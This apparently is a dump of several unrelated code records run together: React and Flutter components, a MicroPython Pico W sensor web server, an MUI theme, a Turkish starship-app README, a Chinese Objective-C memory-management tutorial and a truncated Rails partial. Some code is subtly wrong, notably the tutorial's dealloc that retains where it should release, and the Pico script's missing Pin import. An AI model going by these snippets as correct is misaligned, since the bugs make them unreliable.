text
stringlengths
184
4.48M
import React, { useState } from "react"; import { toast } from "react-toastify"; import { confirmAlert } from "react-confirm-alert"; import "react-confirm-alert/src/react-confirm-alert.css"; import axios from "../../pages/services/axios"; import ButtonPreloader from "./ButtonPreloader"; function DeleteButton({ path, id, record, children }) { const [loading, setLoading] = useState(false); const handleDelete = () => { setLoading(true); confirmAlert({ title: "Are you sure you want to delete?", buttons: [ { label: "Yes", onClick: () => axios.delete(`/${path}/${id}`).then((res) => { setLoading(false); record(); toast.success(res.data); }), }, { label: "No", onClick: () => setLoading(false), }, ], }); }; return ( <button className="inline-flex items-center justify-center rounded-md bg-danger py-2 px-4 text-center font-medium text-white hover:bg-opacity-90 lg:px-4 xl:px-4" onClick={handleDelete} > {loading ? <ButtonPreloader /> : "Delete"} </button> ); } export default DeleteButton;
import { FormBaseElement } from './FormBaseElement.js'; import { Label, Input, Span, Div } from '/static/js/ui/BuildingBlocks.js'; import { ELEMENTS_TYPE } from '/static/designer/js/elements/constants.js'; import { PROPERTIES_ID } from '/static/designer/js/constants/constants.js'; import { DEFAULT_FONT_SIZE } from '/static/designer/js/constants/dimensions.js'; export class CheckboxElement extends FormBaseElement { constructor(context, props, id, type) { super(context, props); const _enabled = props[PROPERTIES_ID.ENABLEDPROPERTY] === 'yes'; const _show_label = props[PROPERTIES_ID.SHOWLABELPROPERTY] === 'yes'; const height = props[PROPERTIES_ID.HEIGHTPROPERTY]; const width = props[PROPERTIES_ID.WIDTHPROPERTY]; const _label = props[PROPERTIES_ID.LABELPROPERTY]; const name = props[PROPERTIES_ID.NAMEPROPERTY]; const font_family = props[PROPERTIES_ID.FONTPROPERTY]; const font_size = props[PROPERTIES_ID.FONTSIZEPROPERTY]; const font_style = props[PROPERTIES_ID.FONTSTYLEPROPERTY]; const font_decoration = props[PROPERTIES_ID.FONTDECORATIONPROPERTY]; const font_weight = props[PROPERTIES_ID.FONTWEIGHTPROPERTY]; const horizontal_alignment = props[PROPERTIES_ID.HORIZONTALALIGNMENTPROPERTY]; const checked = props[PROPERTIES_ID.CHECKEDPROPERTY]; const border = props[PROPERTIES_ID.BORDERPROPERTY]; const border_border = props[PROPERTIES_ID.BORDERBORDERSPROPERTY]; const border_radius = props[PROPERTIES_ID.BORDERRADIUSPROPERTY]; const border_width = props[PROPERTIES_ID.BORDERWIDTHPROPERTY]; const color = props[PROPERTIES_ID.COLORPROPERTY]; let text = _label; if (text === '') { text = name; if (text === '') { text = this.real_id; } } const shell = new Div().attachTo(this); switch (border_border) { case 'top': shell.dom.style.borderStyle = 'none'; shell.dom.style.borderTop = border; break; case 'bottom': shell.dom.style.borderStyle = 'none'; shell.dom.style.borderBottom = border; break; case 'left': shell.dom.style.borderStyle = 'none'; shell.dom.style.borderLeft = border; break; case 'right': shell.dom.style.borderStyle = 'none'; shell.dom.style.borderRight = border; break; default: shell.dom.style.borderStyle = border; } shell.setStyle('border-width', border_width + 'px'); shell.setStyle('border-radius', border_radius + 'px'); shell.setStyle('-webkit-border-radius', border_radius + 'px'); shell.setStyle('-moz-border-radius', border_radius + 'px'); shell.setStyle('border-color', color); shell.setStyle('width', width + 'px'); shell.setStyle('height', height + 'px'); const label = new Label(_show_label?text:'').attachTo(shell); label.addClass('fv-checkradio-container'); this.input = new Input().attachTo(label); this.input.setAttribute('type', 'checkbox'); if (checked === 'yes') this.input.setAttribute('checked', ''); this.input.setId(id); this.input.setAttribute('data-type', type); const scale_x = width / ELEMENTS_TYPE.CHECKBOX.dimensions.width; const scale_y = height / ELEMENTS_TYPE.CHECKBOX.dimensions.height; const span = new Span().attachTo(label); span.addClass('fv-checkradio-checkmark'); span.setStyle('transform-origin','top left'); span.setStyle('transform','scale(' + scale_x +',' + scale_y +')'); //span.setStyle('border-width', border_width + 'px'); span.setStyle('border-radius', border_radius + 'px'); span.setStyle('-webkit-border-radius', border_radius + 'px'); span.setStyle('-moz-border-radius', border_radius + 'px'); label.setStyle('color', color); label.setStyle('font-size',font_size + 'px'); label.setStyle('font-family',font_family); label.setStyle('font-style',font_style); label.setStyle('text-decoration',font_decoration); label.setStyle('font-weight',font_weight); label.setStyle('text-align',horizontal_alignment); // adjust the label position label.setStyle('padding-left', (parseInt(width) + 8) + 'px'); let f_size = parseInt(label.dom.style.fontSize); if (f_size !== f_size) // check if nan f_size = DEFAULT_FONT_SIZE; label.setStyle('padding-top', (parseInt(height) / 2 - f_size) + 'px'); // connection to its equivalent in the formview if (context.isExport) return; $(this.input.dom).on('change', (event) => { context.signals.onFormValueChanged.dispatch(this.real_id, event.currentTarget.checked); }); if (!_enabled) { this.input.setAttribute('disabled',''); } context.signals.onEnabled.add((id) => { if (id === this.real_id || id === this.section || id === this.group) { this.input.removeAttribute('disabled'); } }) context.signals.onDisabled.add((id) => { if (id === this.real_id || id === this.section || id === this.group) { this.input.setAttribute('disabled',''); } }) context.signals.onSelected.add((id) => { if (id === this.real_id || id === this.section || id === this.group) { this.input.dom.checked = true; } }) context.signals.onUnselected.add((id) => { if (id === this.real_id || id === this.section || id === this.group) { this.input.dom.checked = false; } }) context.signals.onListValueChanged.add((id, value) => { if (id === this.real_id) { this.input.dom.checked = value; } }) // TODO: FIND BETTER WAY context.signals.onCrossed.add((id) => { if (id === this.real_id) { this.removeClass('cross'); this.addClass('cross-check-radio'); } }) context.signals.onUncrossed.add((id) => { if (id === this.real_id) { this.removeClass('cross-check-radio'); } }) } save() { super.save(); this.status.enabled = !this.input.hasAttribute('disabled'); this.status.selected = this.input.dom.checked; return new Promise((resolve) => resolve(this.status)); } async restore(data) { super.restore(data); if (this.status.enabled) this.input.removeAttribute('disabled'); else this.input.setAttribute('disabled',''); if (this.status.selected) this.input.dom.checked = true; else this.input.dom.checked = false; return Promise.resolve(); } }
# REACT STARSHİP LİST APP ## Özet - React.js, Context ve https://swapi.dev/api/ kullanılarak yazılmıştır. Yıldız gemilerinin listelendiği ve ayrıca yıldız gemilerini arayıp bulabileceğiniz bir listeleme uygulaması. ### Kullanılan Teknolojiler - React.Js - TailwindCss - React-router-dom - React-icons - Hero-icons - headlessui ## Proje React.Js de ilk önce projemizi oluşturuyoruz > npx create-react-app starship Daha sonrasında proje klasörümüzü açıyoruz > cd starship Artık projemizi çalıştırabiliriz. > npm start Ben projeme başlamadan önce gerekli olacak olan paketlerimiz yükledim > npm i axios > npm i react-router-dom Css için ben TailwindCss tercih ettim > npm install -D tailwindcss > npx tailwindcss init İcon için > npm install react-icons --save ekstra olarak tailwindui'dan örnek bir component tasarımı aldım. > npm install @headlessui/react @heroicons/react Paketlerimi kurduktan sonra tasarım yapmaya başladım. ### Anasayfa ![image](https://user-images.githubusercontent.com/79282877/235317001-c173002b-fe79-4f09-a334-0525715f3de9.png) ### StarshipList ![image](https://user-images.githubusercontent.com/79282877/235317157-f185a06b-e2ab-4aed-ae76-26a0ad408e89.png) ### StarshipList modal ![image](https://user-images.githubusercontent.com/79282877/235317192-fe5dd112-ab7f-4c5e-b063-bed2649c6ecd.png) ### Aşağıdaki resimde olduğu gibi yıldız gemisi arayabilirsiniz. ![Adsız](https://user-images.githubusercontent.com/79282877/235317306-7a678e95-de28-4640-8b30-bc0a77d82bd9.png) ### Arama yaptıktan sonra detay sayfasına yönlendiriliyorsunuz. ![image](https://user-images.githubusercontent.com/79282877/235317362-8565ef6d-c343-4a4c-a50d-12060dd13cb7.png) ## Tasarım bittikten sonra apiden verileri alma işlemlerini yaptım. ``` function CardList() { const [starshipsList, setStarshipsList] = useState([]); const [starshipsData, setStarshipsData] = useState({}); const [page, setPage] = useState(1); const newItemsRef = useRef(null); useEffect(() => { if (newItemsRef.current) { newItemsRef.current.scrollIntoView({ behavior: "smooth" }); } }, [starshipsList]); useEffect(() => { axios .get(`https://swapi.dev/api/starships/?page=${page}`) .then((res) => { setStarshipsData(res.data); if (page === 1) { setStarshipsList(res.data.results); } else { setStarshipsList([...starshipsList, ...res.data.results]); } }) .catch((err) => console.log(err)); }, [page]); ``` - Yukarıdaki kodda apiden ilk önce gelen verileri aldım. Daha sonrasında "Daha fazla göster" özelliği için iki tane state tanımladım. Apiden 10'ar tane veri geliyordu. Yıldız gemilerinin hepsini gösterebilmek için için apiye istek atarken "page" özelliğinide ekledim. Gelen ilk verileri state kaydettikten sonra "Load more" butonuna basınca sayfa sayısı artıyor bu sayede diğer sayfanın verileri geliyor. Gelen verileride "if" koşulu kullanarak diğer verilerin üstüne yazdırdım. Bu sayede ilk verilerde kaybolmamış oldu ve yıldız gemilerinin hepsini gösterme fırsatım oldu. * "Load more" butonuna bastığımızda gelen verilere focuslanmak içinde 2. bir useEffect ve useRef kullandım. BU sayede kullanıcı butona bastığında gelen verilere daha çabuk görme imkanı sundu. ## Search Search işlemi yaparken inputa değer girip entera bastıktan sonra gelmesi için form üzerinde submit olayı gerçekleştirdim. useNavigate ile de başka bir componente yönlendirip orda görüntülenmesi yaptım. ``` function Search() { const { setSearch, setStarships, search } = useStarship(); const navigate = useNavigate(); const handleSubmit = async (e) => { e.preventDefault(); await axios .get(`https://swapi.dev/api/starships/?search=${search}`) .then((res) => setStarships(res.data.results)) .catch((err) => console.log(err)); setSearch(""); navigate("/searchList"); }; ``` - Burada verileri başka componentlerde kullanacağımdan dolayı context yapısını kullandım. ``` import { createContext, useState, useContext } from "react"; const StarshipsContext = createContext(); export const StarshipsContextProvider = ({ children }) => { const [search, setSearch] = useState(""); const [starships, setStarships] = useState([]); const values = { setSearch, setStarships, search, starships, }; return ( <StarshipsContext.Provider value={values}> {children} </StarshipsContext.Provider> ); }; export const useStarship = () => { const context = useContext(StarshipsContext); if (context === undefined) { throw new Error("useStarship must be used withing a StarshipProvider"); } return context; }; ``` [Uygulama Linki](https://ml-final-case.netlify.app) # Hazırlayan - Muhammet LEVENT
import socket from machine import ADC from machine import Timer adc1 = ADC(Pin(26)) adc3 = ADC(Pin(28)) digitalIn = Pin(15, Pin.IN) # inicializando el pin 15 como entrada digital led = Pin("LED", Pin.OUT) # inicializando el led integrado como salida digital period = 1000 r_value = "0" g_value = "0" b_value = "0" def get_adc_values(): global r_value global g_value global b_value adcVal1 = int((adc1.read_u16() - 2000) / 600) adcVal2 = digitalIn.value() adcVal3 = int((adc3.read_u16() - 2000) / 600) if adcVal1 > 100 : adcVal1 = 100 if adcVal2 > 100 : adcVal2 = 100 if adcVal3 > 100 : adcVal3 = 100 r_value = get_string_value(adcVal1) g_value = get_string_value(adcVal2) b_value = get_string_value(adcVal3) print("ADC values ", r_value, g_value, b_value) tim1 = Timer() tim1.init(period=period, mode=Timer.PERIODIC, callback=lambda t: get_adc_values() ) def get_string_value(input: int): return str(input) def web_page(): html = """ <html> <head> <title>Raspberry Pi Pico W Web Server</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:,"> <style> meter { -webkit-writing-mode: horizontal-tb !important; appearance: auto; box-sizing: border-box; display: inline-block; height: 3em; width: 13em; vertical-align: -1.0em; -webkit-user-modify: read-only !important; } html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center; } h1 { color: #0F3376; padding: 2vh; } p { font-size: 1.5rem; } table { margin: auto; } td { padding: 7px; } .Button { border-radius: 31px; display: inline-block; cursor: pointer; color: #ffffff; font-family: Arial; font-size: 10px; font-weight: bold; font-style: italic; padding: 4px 5px; text-decoration: none; } .ButtonR { background-color: #9549ec; border: 3px solid #6c1f99; text-shadow: 0px 2px 2px #3b1e47; } .ButtonR:hover { background-color: #c816f5; } .Button:active { position: relative; top: 1px; } .ButtonG { background-color: #49ece4; border: 3px solid #1f8b99; text-shadow: 0px 2px 2px #1e3b47; } .ButtonG:hover { background-color: #16b6f5; } .ButtonB { background-color: #4974ec; border: 3px solid #1f3599; text-shadow: 0px 2px 2px #1e2447; } .ButtonB:hover { background-color: #165df5; } </style> <script> setInterval(updateValues, 2000); function updateValues() { location.reload(); } </script> </head> <body> <h1>Raspberry Pi Pico W Web Server</h1> <p>Medici&oacute;n de sensores</p> <p><i> One Man Army Team </i> </p> <img src="https://hips.hearstapps.com/hmg-prod.s3.amazonaws.com/images/rambo-acorralado-sylvestre-stallone-1566292817.jpg" alt="rambo" width="500" height="600"> <p>Pino Alvarez Oscar Brandon - 17210622 </p> <a href="https://github.com/oscarxpino/Pico-W-webserver-3sensores">Link del repositorio</a> <table> <tbody> <tr> <td> <p><a href="/update"><button class="ButtonR Button">Sensor 1</button></a></p> </td> <td> <strong>El valor del potenciometro es: """+ r_value +""" %</strong> <meter id="fuel" min="0" max="100" low="30" high="70" optimum="80" value=" @@"""+ r_value +""" @@"> at 50/100 </meter> </td> </tr> <tr> <td> <p><a href="/update"><button class="ButtonG Button">Sensor 2</button></a></p> </td> <td> <strong> El valor del switch es: """+ g_value +""" %</strong> at 50/100 </meter> </td> </tr> <tr> <td> <p><a href="/update"><button class="ButtonB Button">Sensor 3</button></a></p> </td> <td> <strong>El valor de la fotoresistencia es: """+ b_value +""" %</strong> <meter id="fuel" min="0" max="100" low="30" high="70" optimum="80" value=" @@"""+ b_value +""" @@"> at 50/100 </meter> </td> </tr> <tr> <td colspan="2"> <center> <img src="http://drive.google.com/uc?export=view&id=1b0pAs2Gl0bY1pBU1dywA14xvyeS0ence" alt="Logo Raspberry Pi" width="90" height="120"> </center> </td> </tr> </tbody> </table> </body> </html> """ return html s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 80)) s.listen(5) while True: try: conn, addr = s.accept() print('Got a connection from %s' % str(addr)) request = conn.recv(1024) request = str(request) update = request.find('/update') if update == 6: print('update') response = web_page() response = response.replace(" @@","") conn.send('HTTP/1.1 200 OK\n') conn.send('Content-Type: text/html\n') conn.send('Connection: close\n\n') conn.sendall(response) conn.close() except Exception as e: print(e)
import theme from '../index'; export interface MuiComponentSettings { [key: string]: string | number | object; } export const MuiButton: MuiComponentSettings = { styleOverrides: { root: { fontSize: '16px', padding: '10px 16px', borderRadius: '8px', fontFamily: 'Lato', lineHeight: '28px', minWidth: '173px', textTransform: 'Capitalize', alignItems: 'center', }, }, variants: [ { props: {variant: 'filled', color: 'primary'}, style: () => ({ color: theme.palette.neutral50, backgroundColor: theme.palette.primary500, '&:hover': { backgroundColor: theme.palette.primary400, }, '&:active': { backgroundColor: theme.palette.primary600, }, '&:disabled': { backgroundColor: theme.palette.primary200, color: theme.palette.neutral50, }, }), }, { props: {variant: 'filled', color: 'error'}, style: () => ({ color: theme.palette.neutral50, backgroundColor: theme.palette.error500, '&:hover': { backgroundColor: theme.palette.error400, }, '&:active': { backgroundColor: theme.palette.error600, }, '&:disabled': { backgroundColor: theme.palette.error200, color: theme.palette.neutral50, }, }), }, { props: {variant: 'filled', color: 'warning'}, style: () => ({ color: theme.palette.neutral50, backgroundColor: theme.palette.warning500, '&:hover': { backgroundColor: theme.palette.warning400, }, '&:active': { backgroundColor: theme.palette.warning600, }, '&:disabled': { backgroundColor: theme.palette.warning200, color: theme.palette.neutral50, }, }), }, { props: {variant: 'outline', color: 'primary'}, style: () => ({ backgroundColor: theme.palette.neutral50, color: theme.palette.primary500, border: `1px solid ${theme.palette.primary500}`, '&:hover': { border: `1px solid ${theme.palette.primary400}`, backgroundColor: theme.palette.primary100, color: theme.palette.primary400, }, '&:active': { border: `1px solid ${theme.palette.primary600}`, backgroundColor: theme.palette.primary100, color: theme.palette.primary600, }, '&:disabled': { border: `1px solid ${theme.palette.primary200}`, color: theme.palette.primary200, }, }), }, { props: {variant: 'outline', color: 'error'}, style: () => ({ backgroundColor: theme.palette.neutral50, color: theme.palette.error500, border: `1px solid ${theme.palette.error500}`, '&:hover': { border: `1px solid ${theme.palette.error400}`, backgroundColor: theme.palette.error100, color: theme.palette.error400, }, '&:active': { border: `1px solid ${theme.palette.error600}`, backgroundColor: theme.palette.error100, color: theme.palette.error600, }, '&:disabled': { border: `1px solid ${theme.palette.error200}`, color: theme.palette.error200, }, }), }, { props: {variant: 'outline', color: 'warning'}, style: () => ({ backgroundColor: theme.palette.neutral50, color: theme.palette.warning500, border: `1px solid ${theme.palette.warning500}`, '&:hover': { border: `1px solid ${theme.palette.warning400}`, backgroundColor: theme.palette.warning100, color: theme.palette.warning400, }, '&:active': { border: `1px solid ${theme.palette.warning600}`, backgroundColor: theme.palette.warning100, color: theme.palette.warning600, }, '&:disabled': { border: `1px solid ${theme.palette.warning200}`, color: theme.palette.error200, }, }), }, ], };
import 'package:flutter/material.dart'; import 'package:provider/provider.dart'; import 'package:to_do_list/models/task-model.dart'; import 'package:to_do_list/view_models/app_view_model.dart'; class DeleteBottomSheet extends StatelessWidget { DeleteBottomSheet({super.key}); final TextEditingController taskEntryController = TextEditingController(); @override Widget build(BuildContext context) { return Consumer<AppViewModel>( builder: (context, appViewModel, child) { return Container( height: 125, child: Row( mainAxisAlignment: MainAxisAlignment.center, children: [ ElevatedButton( onPressed: () { appViewModel.deleteAllTasks(); Navigator.of(context).pop(); }, style: ElevatedButton.styleFrom( foregroundColor: appViewModel.clrLv3, backgroundColor: appViewModel.clrLv1, textStyle: TextStyle(fontWeight: FontWeight.w700, fontSize: 16), shape: RoundedRectangleBorder( borderRadius: BorderRadius.circular(20))), child: Text("Delete All")), SizedBox(width: 15,), ElevatedButton( onPressed: () { appViewModel.deleteCompletedTasks(); Navigator.of(context).pop(); }, style: ElevatedButton.styleFrom( foregroundColor: appViewModel.clrLv3, backgroundColor: appViewModel.clrLv1, textStyle: TextStyle(fontWeight: FontWeight.w700, fontSize: 16), shape: RoundedRectangleBorder( borderRadius: BorderRadius.circular(20))), child: Text("Delete Completed")), ], ), ); }, ); } }
title: Objective-C内存管理ARC&MRC date: 2013-05-06 11:28:15 categories: - Objective-C基础 tags: - Objective-C - 内存管理 - ARC&MRC permalink: Objective-C-ARC&MRC ---   内存管理是在开发中比较重视的一个问题,因为我们手机运行内存并不是很大,iPhone的内存就更小了,灵活运用Objective-C的内存管理机制可以给我带来很多方便。 <!-- more --> ## 内存管理基本认识 ### 为什么要学习内存管理? - 由于移动设备的内存极其有限,所以每个APP所占的内存也是有限制的。 - 当我们对Objective-C 的内存管理机制琢磨不透时,编写的程序经常内存泄漏或崩溃。 - 当app所占用的内存较多时,系统会发出内存警告,这时得回收一些不需要再使用的内存空间。 ### Object-C内存管理范围 - 只管理任何继承了NSObject的对象,不管理其他基本数据类型(int、char、float、double、struct、enum等)。 ### 内存管理基本概念 - ①僵尸对象:所占用内存已经被回收的对象,僵尸对象不能再使用 - ②野指针:指向僵尸对象(不可用内存)的指针,给野指针发送消息会报错(EXC_BAD_ACCESS) - ③空指针:没有指向任何东西的指针(存储的东西是nil、NULL、0),给空指针发送消息不会报错 - ④引用计数器:(int类型,占用4个存储空间)。每个对象都有一个引用计数器,对象诞生时,count=1;当count=0的时候,对象将被销毁(回收)。 - ⑤retainCount:返回对象引用计数器的值,查看有多少个指针指向这个对象。 - ⑥retain:返回值为当前对象,count = 引用计数器 + 1;当给对象发送一条retain消息时,引用计数器做加1操作 - ⑦release:无返回值,count = 引用计数器 - 1;当给对象发送一条release消息, 对象的引用计数器做减1 操作,当引用计数器 = 0,系统自动回收对象。 - ⑧当引用计数器 = 0时:系统自动给对象发送一条dealloc方法,通知对象将被销毁,其占用内存将被回收,指向其指针没有处理,指针的值还存在则变成野指针。 - ⑨alloc、new、copy创建新对象,新对象的引用计数器的值默认为1 ## 手动内存管理(MRC) - MRC: Manul(手动) Reference(引用) Counting(计数 ### 手动内存管理解决的问题 - ①避免野指针操作 - ②防止内存泄露 ### 内存管理原则 - ①在对象中,只要出现了new、alloc、retain,就一定要出现一个release进行配对 - ②谁创建对象,当其以后不再使用,谁将对象release - ③谁使用已创建对象,将对象retain一下,当后不再使用,将对象release ### 组合对象的内存管理 > - 学生、书都是OC对象,当学生拥有一本书。 > - 学生与书采用组合关系,关键在于学生setBook、dealloc方法的实现。 - 代码举例 Main类 ```objc // main.m文件 #import <Foundation/Foundation.h> #import "Student.h" #import "Book.h" int main(int argc, const charchar * argv[]) { Student *student1 = [[Student alloc]init]; student1.name = @"张三"; NSLog(@"学生:%@ 被创建,其引用计数器为:%zd",student1.name,[student1 retainCount]); Book *book =[[Book alloc]init]; book.name = @"读者"; NSLog(@"《%@》被创建,其引用计数器为:%zd",book.name,[book retainCount]); student1.book = book; NSLog(@"《%@》被学生:%@ 使用,其引用计数器为:%zd",book.name,student1.name,[book retainCount]); Book *book1 = [[Book alloc]init]; book1.name = @"亮剑"; NSLog(@"《%@》被创建,其引用计数器为:%zd",book1.name,[book1 retainCount]); student1.book = book1; NSLog(@"《%@》被学生:%@ 使用,其引用计数器为:%zd",book1.name,student1.name,[book1 retainCount]); NSLog(@"%@ 使用《%@》,丢弃《%@》,《%@》引用计数器为:%zd",student1.name,book1.name,book.name,book.name,[book retainCount]); [book1 release];//book1使用alloc一次,所以要release一次 [book release];//book使用alloc一次,所以要release一次 [student1 release];//student1使用alloc一次,所以要release一次 return 0; } ``` - 书类Book ``` // Book.h文件 #import <Foundation/Foundation.h> @interface Book : NSObject { @protected NSString *_name; } - (void) setName:(NSString *)name; - (NSString *)name; @end ``` ```objc Book.m文件 #import "Book.h" @implementation Book -(void)setName:(NSString *)name { if (_name !=name) { [_name release]; _name = [name retain]; } } - (NSString *)name { return _name; } -(void)dealloc { [_name release]; [super dealloc]; NSLog(@"《%@》被销毁,释放内存",_name); } @end ``` - 学生类Student ```objc // Student.h文件 #import <Foundation/Foundation.h> @class Book; @interface Student : NSObject { NSString *_name; Book *_book; } -(void) setName:(NSString *)name; -(void) setBook:(Book *)book; -(NSString *) name; @end ``` ```objc Student.m文件 #import "Student.h" #import "Book.h" @implementation Student - (void) setName:(NSString *)name { if (_name != name) { [_name release]; _name = [name retain]; } } - (void)setBook:(Book *)book { if (_book != book) { [_book release]; _book = [book retain]; } } - (NSString *)name { return _name; } - (void)dealloc { [_name retain]; [_book release]; NSLog(@"%@被销毁,释放内存",_name); [super dealloc]; } @end ``` - 输出结果 ```language 2013-05-05 7:50:55.247 04-内存管理[1278:74338] 学生:张三 被创建,其引用计数器为:1 2013-05-05 7:50:55.248 04-内存管理[1278:74338] 《读者》被创建,其引用计数器为:1 2013-05-05 7:50:55.248 04-内存管理[1278:74338] 《读者》被学生:张三 使用,其引用计数器为:2 2013-05-05 7:50:55.248 04-内存管理[1278:74338] 《亮剑》被创建,其引用计数器为:1 2013-05-05 7:50:55.248 04-内存管理[1278:74338] 《亮剑》被学生:张三 使用,其引用计数器为:2 2013-05-05 7:50:55.249 04-内存管理[1278:74338] 张三 使用《亮剑》,丢弃《读者》,《读者》引用计数器为:1 2013-05-05 7:50:55.249 04-内存管理[1278:74338] 《读者》被销毁,释放内存 2013-05-05 7:50:55.249 04-内存管理[1278:74338] 《亮剑》被销毁,释放内存 2013-05-05 7:50:55.249 04-内存管理[1278:74338] 张三被销毁,释放内存 ``` ### autorelease - 的基本用法 > - ①autorelease是半自动回收释放内存的对象方法,是将对象放到自动释放池中,当自动释放池被销毁时,所有使用autorelease的OC对象都做一次release操作。 > - ②autorelease是对象方法,返回值为OC对象,调用完autorelease后,对象引用计数器不变。 - 优点 > - ①不用关注对象什么时候被释放 > - ②不用考虑何时写release - 使用情况 > - 占用内存大的对象,不能随意使用autorelease - 常见错误写法 > - ①对象调用autorelease后,又调用release > - ②连续多次调用autorelease >```objc //常见错误1 @autoreleasepool { Student *stu = [[[Student alloc]init]autorelease]; [stu release]; } //常见错误2 @autoreleasepool { Student *stu = [[[Student alloc]init]autorelease]; Student *stu1 = [stu autorelease]; } ``` ## 内存管理之ARC机制(编译器特性)   ARC是自iOS 5之后增加的新特性,完全消除了手动管理内存的烦琐,编译器会自动在适当的地方插入适当的retain、release、autorelease语句,你不再需要担心内存管理。ARC是编译器特性,而不是iOS运行时特性,它也不是类似于其它语言中的垃圾收集器。因此 ARC和手动内存管理性能是一样的,有时还能更加快速,因为编译器还可以执行某些优化。 ### 基本原理 - `判断规则:`只要还有一个强指针(Strong指针)变量指向对象,对象就会保持在内存中 - `强指针与弱指针:` 默认所有实例变量和局部变量都是强指针(Strong指针),弱指针(weak指针)需要用__weak修饰(注意:__weak有两条下划线)。 - `弱指针:`(weak指针)指向的对象被回收后(对象没有强指针指向,内存就被回收),弱指针会自动变为nil指针,不会引发野指针错误 - `自动添加release:`编译器查到有alloc就会在相应的地方插入release代码。 - `自动添加release:`编译器会在dealloc对象方法中也自动插入release代码,不需要你手动添加release。 ### 开启ARC机制后使用注意 - 不能调用release、retain、autorelease、retainCount - 可以重写dealloc,但是不能调用[super dealloc] - @property: 想长期拥有某个对象,应该用strong,其他对象用weak - 其他基本数据类型依然用assign - 两端互相引用时,一端用strong、一端用weak ### 实例展示 - 主函数Main ```objc #import <Foundation/Foundation.h> #import "Person.h" #import "IPhone.h" int main(int argc, const charchar * argv[]) { // 修改过的模板,以下是一个自动释放池 @autoreleasepool { // 在本自动释放池中编写代码,记得使用autorelease… Person *p = [[Person alloc]init];//此处不能写autorelease,因为打开了ARC机制 p.name = @"张三"; IPhone *iphone = [[IPhone alloc]init];//生产一个IPhone 5s,用iphon强指针指向它 iphone.name = @"IPhone 5s"; IPhone *iphone1 = [[IPhone alloc]init]; iphone1.name = @"小米4"; //假设张三有两部手机,IPhon 5s可以有,也可以卖,而小米4是留着通讯的,必须有 p.iphone = iphone;//将生产的手机拿个张三用 p.iphone1 = iphone1; //同时撤销两部手机的指针 NSLog(@"----------------------"); iphone = nil;//生产的手机卖了,指向手机对象的强指针撤销 iphone1 = nil;//撤销了一个强指针,而张三还有一个强指针指向小米4 NSLog(@"----------------------"); /*打开了ARC机制,编译器自动生成以下句子,我们不能写。 [iphone1 release]; [iphone release]; [p release]; */ } return 0; } ``` - 人类Person ```objc // Person.h文件 #import <Foundation/Foundation.h> #import "IPhone.h" @interface Person : NSObject @property(strong,nonatomic) NSString *name;//每个人都有名字,所以必须要人销毁,他的名字才销毁 @property(weak,nonatomic)IPhone *iphone;//有些人不一定有手机,看看手机是否存在,weak是弱指针 @property(strong,nonatomic)IPhone *iphone1; @end ``` ``` // Person.m文件 #import "Person.h" @implementation Person -(void)dealloc { NSLog(@"人被销毁!!"); /* 打开ARC机制,编译器自动添加了这句代码,不需要我们写 [name release] [iphone release]; [iphone1 release] [super dealloc]; */ } @end ``` - 手机类iPhone ```objc // iPhone.h文件 #import <Foundation/Foundation.h> @interface IPhone : NSObject @property (strong,nonatomic)NSString *name;//每部手机都有名字,所以用强指针指向,只要手机没有被释放,他就有名字 @end ``` ```objc // iPhone.m文件 @implementation IPhone -(void)dealloc { NSLog(@"%@被销毁了!!",_name); /*打开了ARC机制,不能写如下句子 [name release]; [super dealloc] */ } @end ``` - iPhone.h文件中使用了@property关键字,并且有strong参数,所以其代码会转换为如下,并且在IPhone.m文件中会实现set、get方法如下 ```objc #import <Foundation/Foundation.h> @interface IPhone : NSObject { NSString *_name; } -(void) setName:(NSString *)name; -(NSString *)name; @end ``` ```objc -(void) setName:(NSString *)name { if(_name != name) { [_name release]; _name = name; } } -(NSString *)name { return _name; } ``` - 结果输出 ```objc 2013-05-06 12:30:15.520 04-内存管理之ARC机制[993:35713] ---------------------- 2013-05-06 12:30:15.521 04-内存管理之ARC机制[993:35713] IPhone 5s被销毁了!! 2013-05-06 12:30:15.522 04-内存管理之ARC机制[993:35713] ---------------------- 2013-05-06 12:30:15.522 04-内存管理之ARC机制[993:35713] 人被销毁!! 2013-05-06 12:30:15.522 04-内存管理之ARC机制[993:35713] 小米4被销毁了!! ```
import axios from "axios"; import { useEffect, useState } from "react"; import { useParams } from "react-router-dom"; import Loader from "./Loader"; import { EditOutlined } from "@ant-design/icons"; import Modal from "./Modal"; const EmployeeDetail = () => { const { id } = useParams(); const [loading, setLoading] = useState(true); const [info, setInfo] = useState({}); useEffect(() => { axios .get(`https://asif-inc-backend.vercel.app/employees/${id}`) .then((res) => { if (res?.data) { setInfo(res.data); setLoading(false); } }) .catch((error) => console.error(error)); }, []); return ( <> <h1 className="text-3xl font-bold">Employee Details</h1> <br /> <hr /> <br /> {loading && <Loader />} {!loading && ( <> <div className="py-10 px-4 bg-blue-50 w-[300px] shadow-lg drop-shadow-lg rounded-lg"> <code> Name: {info.firstname} {info.lastname} </code> <br /> <code>Phone: {info.phone}</code> <br /> <code>Email: {info.email}</code> </div> <div className="mt-5"> <button onClick={() => document.getElementById("modal").showModal()} className="flex items-center gap-1 p-2 bg-red-400 rounded-lg text-white font-bold text-xs outline-none" > <EditOutlined /> Edit </button> </div> <Modal info={info} /> </> )} </> ); }; export default EmployeeDetail;
<% required_status = required_status ||= false %> <% pretend_required = pretend_required ||= false %> <div id='bibliography_authors' class='repeatable-field'> <div class="row string optional bibliography-person-fields"> <label class="col-sm-2 col-form-label string optional"><%= format_field_label(field_label, (required_status || pretend_required)) %></label> <div class="col-sm-10"> <div class="fields"> <%= form.simple_fields_for :authors do |peep| %> <%= render 'bibliography_person_fields', form: peep, class_name: 'authors', prompt_label: 'Choose an ' + field_label, required: required_status, hint_text: hint_text ||= false %> <% end %> </div> <div class="bibliography_authors_parent"></div> </div> </div> <div id="bibliography_author_suggestions"> <%= form.simple_fields_for :person_suggestions do |suggestion| %> <% if suggestion.object.field_name == 'author' %> <%= render 'suggest_person_fields', :form => suggestion, fieldname: 'author' %> <% end %> <% end %> </div> <div class='links clearfix'> <div class="col-sm-2"></div> <div class="col-sm-10 btn-add-container"> <%= link_to_add_association Bibliography::ADD_BUTTON + field_label, form, :authors, class: 'btn btn-warning btn-add fa-icon', form_name: 'form', data: { 'association-insertion-node' => '#bibliography_authors .fields', 'association-insertion-method' => 'append' }, partial: 'bibliography_person_fields', render_options: { locals: { prompt_label: 'Choose an ' + field_label, class_name: 'authors', required: required_status, hint_text: 